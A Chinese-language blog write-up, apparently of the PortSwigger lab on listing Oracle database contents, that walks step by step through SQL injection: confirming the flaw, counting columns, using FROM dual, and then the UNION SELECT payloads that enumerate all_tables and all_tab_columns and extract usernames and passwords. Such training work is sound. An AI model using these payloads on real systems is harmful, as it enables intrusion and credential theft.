Oracle数据库SQL注入攻击实战:从列名枚举到数据提取

本文详细解析了针对Oracle数据库的SQL注入攻击技术,包括漏洞检测、列数判断、数据类型确认、系统表利用以及最终的用户凭证提取全过程,通过PortSwigger实验环境进行实战演示。

SQL注入攻击:列出Oracle数据库内容 — PortSwigger

作者:RayofHope
5分钟阅读·2025年4月11日

大家好,我是Rayofhope。我拥有超过5年的安全经验,目前在一家四大会计师事务所担任安全顾问。

这是我连续第6天发布PortSwigger实验室的完整解析,不仅提供解决方案,还会详细解释每个步骤背后的原理。因为一旦理解了"为什么",“怎么做"就会变得简单。

开始之前

在阅读本文前,建议先阅读之前的博客:

  • 第四篇博客链接:https://arayofhope7.medium.com/sql-injection-attack-listing-the-database-contents-on-non-oracle-databases-portswigg-42fae517cc6e

视频演练 — 你可以选择观看视频或阅读博客。但个人建议先看视频,再阅读博客来串联所有知识点。

Oracle数据库基础

Oracle数据库是由Oracle公司开发的关系型数据库管理系统(RDBMS)。它将数据存储在表中,并使用SQL(结构化查询语言)进行查询。

Oracle系统表基础

  • USER_TABLES:当前用户拥有的表
  • ALL_TABLES:当前用户可访问的表
  • DBA_TABLES:数据库中的所有表(需要DBA权限)
  • V$VERSION:显示Oracle版本信息
  • V$INSTANCE:提供实例特定信息

常用Oracle命令

1
2
3
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = '表名'
SELECT * FROM information_schema.tables

攻击过程详解

1. 漏洞探测

应用程序存在参数,我们测试其是否易受SQL注入攻击。通过修改参数值观察响应变化或是否抛出内部服务器错误。

发现参数值会反映在响应中,可能存在UNION注入漏洞。

2. 漏洞确认

使用Burp拦截HTTP请求并转发到Repeater模块。

在输入中使用单引号(’),导致500内部服务器错误,表明引号可能破坏了SQL查询。

3. 确定列数

确认应用存在SQL注入漏洞后,使用UNION SELECT负载确定列数。测试3列时出现错误,表明原始SQL查询列数少于3列。

使用ORDER BY 2返回200 OK响应,确认查询至少包含2列。

4. 确定数据类型

确定列数后,需要识别每列的数据类型,这对构造成功的UNION SELECT负载至关重要。

使用' UNION SELECT 'ray', 'ray'--返回错误,表明在Oracle数据库中SELECT语句必须引用表。

使用' UNION SELECT 'ray', 'ray' FROM dual--返回200 OK响应,确认列接受CHAR类型数据。DUAL是Oracle数据库中默认可用的特殊单行单列虚拟表。

5. 提取表信息

使用' UNION SELECT table_name, 'ray' FROM all_tables--返回200 OK响应,表明注入成功。table_name是all_tables视图中的默认列,包含用户可访问的所有表的元数据。

成功查询后,我们从数据库中提取了用户表信息。

6. 提取列信息

使用' UNION SELECT column_name, 'ray' FROM all_tab_columns WHERE table_name = 'USERS_VHVEBS'--返回200 OK响应。column_name是Oracle中的默认列,all_tab_columns视图返回指定表的所有列。

响应显示列名USERNAME_SGSWAR和PASSWORD_RXEPJO,表明USERS_VHVEBS表存储敏感用户凭证(用户名和密码)。

7. 提取用户数据

使用' UNION SELECT USERNAME_SGSWAR, PASSWORD_RXEPJO FROM USERS_VHVEBS--返回USERS_VHVEBS表中的所有用户信息。

成功获取管理员账户和密码,并使用提取的凭证登录实验室。

Boom!实验室已解决。 如果你在这个过程中学到了东西并且没有头疼,那就是双赢!

Happy Hunting — 点赞关注获取更多优质内容

社交链接

#漏洞赏金 #网络安全培训 #道德黑客 #渗透测试 #Web渗透测试

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计